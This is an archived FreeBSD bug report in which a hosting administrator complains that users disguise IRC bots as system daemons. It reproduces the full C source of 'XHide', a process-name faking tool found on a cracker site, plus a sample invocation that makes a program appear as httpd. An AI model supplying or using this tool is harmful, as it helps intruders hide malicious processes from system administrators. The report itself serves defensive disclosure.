Date: Tue, 4 Mar 2008 22:34:31 GMT From: Ryan <Admin@The-IRC.Org> To: freebsd-gnats-submit@FreeBSD.org Subject: i386/121371: execv undesired use to change a processes credentials (cmd line) Message-ID: <200803042234.m24MYVqQ042492@www.freebsd.org> Resent-Message-ID: <200803042240.m24Me1VX099095@freefall.freebsd.org>
next in thread | raw e-mail | index | archive | help
>Number: 121371 >Category: i386 >Synopsis: execv undesired use to change a processes credentials (cmd line) >Confidential: no >Severity: serious >Priority: high >Responsible: freebsd-i386 >State: open >Quarter: >Keywords: >Date-Required: >Class: sw-bug >Submitter-Id: current-users >Arrival-Date: Tue Mar 04 22:40:01 UTC 2008 >Closed-Date: >Last-Modified: >Originator: Ryan >Release: 6.3 >Organization: The-IRC Hosting >Environment: FreeBSD Eden.The-IRC.Org 6.3-RELEASE FreeBSD 6.3-RELEASE #2: Tue Feb 12 10:53:21 CST 2008 root@Eden.The-IRC.Org:/usr/obj/usr/src/sys/THE-IRC i386 >Description: Any user with the use of a cleverly created program, abuse execv lib function and change the process command line in ps from XX to YY. We have done extensive research regarding this issue since January and are very aware allot of people are also aware of this problem on a wide range of *nix and BSD systems, however there has yet to be any solutions from FreeBSD to correct this process credential changer exploit. We have come across user accounts from time to time, with hidden folder with either a bnc or eggdrop that was launched via X-Hide and the processes had the process credentials like the following examples. XUser 26588 p3- S 1:06.64 /usr/local/apache/bin/httpd YUSER 33459 p6- S 0:37.29 /usr/sbin/ntpd I've obtained the source code for thie X-Hide program from a crackers website that we found from a users shell history. #include <stdio.h> #include <unistd.h> #include <sys/stat.h> #include <sys/types.h> #include <string.h> #include <fcntl.h> #include <pwd.h> #include <grp.h> void usage(char *progname); int changeown (char *str) { char user[256], *group; struct passwd *pwd; struct group *grp; uid_t uid; gid_t gid; memset(user, '\0', sizeof(user)); strncpy(user, str, sizeof(user)); for (group = user; *group; group++) if (*group == ':') { *group = '\0'; group++; break; } if (pwd = getpwnam(user)) { uid = pwd->pw_uid; gid = pwd->pw_gid; } else uid = (uid_t) atoi(user); if (*group) if (grp = getgrnam(group)) gid = grp->gr_gid; else gid = (gid_t) atoi(group); if (setgid(gid)) { perror("Error: Can't set GID"); return 0; } if (setuid(uid)) { perror("Error: Can't set UID"); return 0; } return 1; } char *fullpath(char *cmd) { char *p, *q, *filename; struct stat st; if (*cmd == '/') return cmd; filename = (char *) malloc(256); if (*cmd == '.') if (getcwd(filename, 255) != NULL) { strcat(filename, "/"); strcat(filename, cmd); return filename; } else return NULL; for (p = q = (char *) getenv("PATH"); q != NULL; p = ++q) { if (q = (char *) strchr(q, ':')) *q = (char) '\0'; snprintf(filename, 256, "%s/%s", p, cmd); if (stat(filename, &st) != -1 && S_ISREG(st.st_mode) && (st.st_mode&S_IXUSR || st.st_mode&S_IXGRP || st.st_mode&S_IXOTH)) return filename; if (q == NULL) break; } free(filename); return NULL; } void usage(char *progname) { fprintf(stderr, "XHide - Process Faker, by Schizoprenic " "Xnuxer Research (c) 2002\n\nOptions:\n" "-s string\tFake name process\n" "-d\t\tRun aplication as daemon/system (optional)\n" "-u uid[:gid]\tChange UID/GID, use another user (optional)\n" "-p filename\tSave PID to filename (optional)\n\n" "Example: %s -s \"klogd -m 0\" -d -p test.pid ./egg bot.conf\n\n",progname); exit(1); } int main(int argc,char **argv) { char c; char fake[256]; char *progname, *fakename; char *pidfile, *fp; char *execst; FILE *f; int runsys=0, null; int j,i,n,pidnum; char **newargv; progname = argv[0]; if(argc<2) usage(progname); for (i = 1; i < argc; i++) { if (argv[i][0] == '-') switch (c = argv[i][1]) { case 's': fakename = argv[++i]; break; case 'u': changeown(argv[++i]); break; case 'p': pidfile = argv[++i]; break; case 'd': runsys = 1; break; default: usage(progname); break; } else break; } if (!(n = argc - i) || fakename == NULL) usage(progname); newargv = (char **) malloc(n * sizeof(char **) + 1); for (j = 0; j < n; i++,j++) newargv[j] = argv[i]; newargv[j] = NULL; if ((fp = fullpath(newargv[0])) == NULL) { perror("Full path seek"); exit(1); } execst = fp; if (n > 1) { memset(fake, ' ', sizeof(fake) - 1); fake[sizeof(fake) - 1] = '\0'; strncpy(fake, fakename, strlen(fakename)); newargv[0] = fake; } else newargv[0] = fakename; if (runsys) { if ((null = open("/dev/null", O_RDWR)) == -1) { perror("Error: /dev/null"); return -1; } switch (fork()) { case -1: perror("Error: FORK-1"); return -1; case 0: setsid(); switch (fork()) { case -1: perror("Error: FORK-2"); return -1; case 0: umask(0); close(0); close(1); close(2); dup2(null, 0); dup2(null, 1); dup2(null, 2); break; default: return 0; } break; default: return 0; } } waitpid(-1, (int *)0, 0); pidnum = getpid(); if (pidfile != NULL && (f = fopen(pidfile, "w")) != NULL) { fprintf(f, "%d\n", pidnum); fclose(f); } fprintf(stderr,"==> Fakename: %s PidNum: %d\n",fakename,pidnum); execv(execst, newargv); perror("Couldn't execute"); return -1; } >How-To-Repeat: ./xhidebinaryhere -s "/usr/local/apache/bin/httpd -DSSL" ./realprogramhere >Fix: >Release-Note: >Audit-Trail: >Unformatted:
Want to link to this message? Use this URL: <https://mail-archive.FreeBSD.org/cgi/mid.cgi?200803042234.m24MYVqQ042492>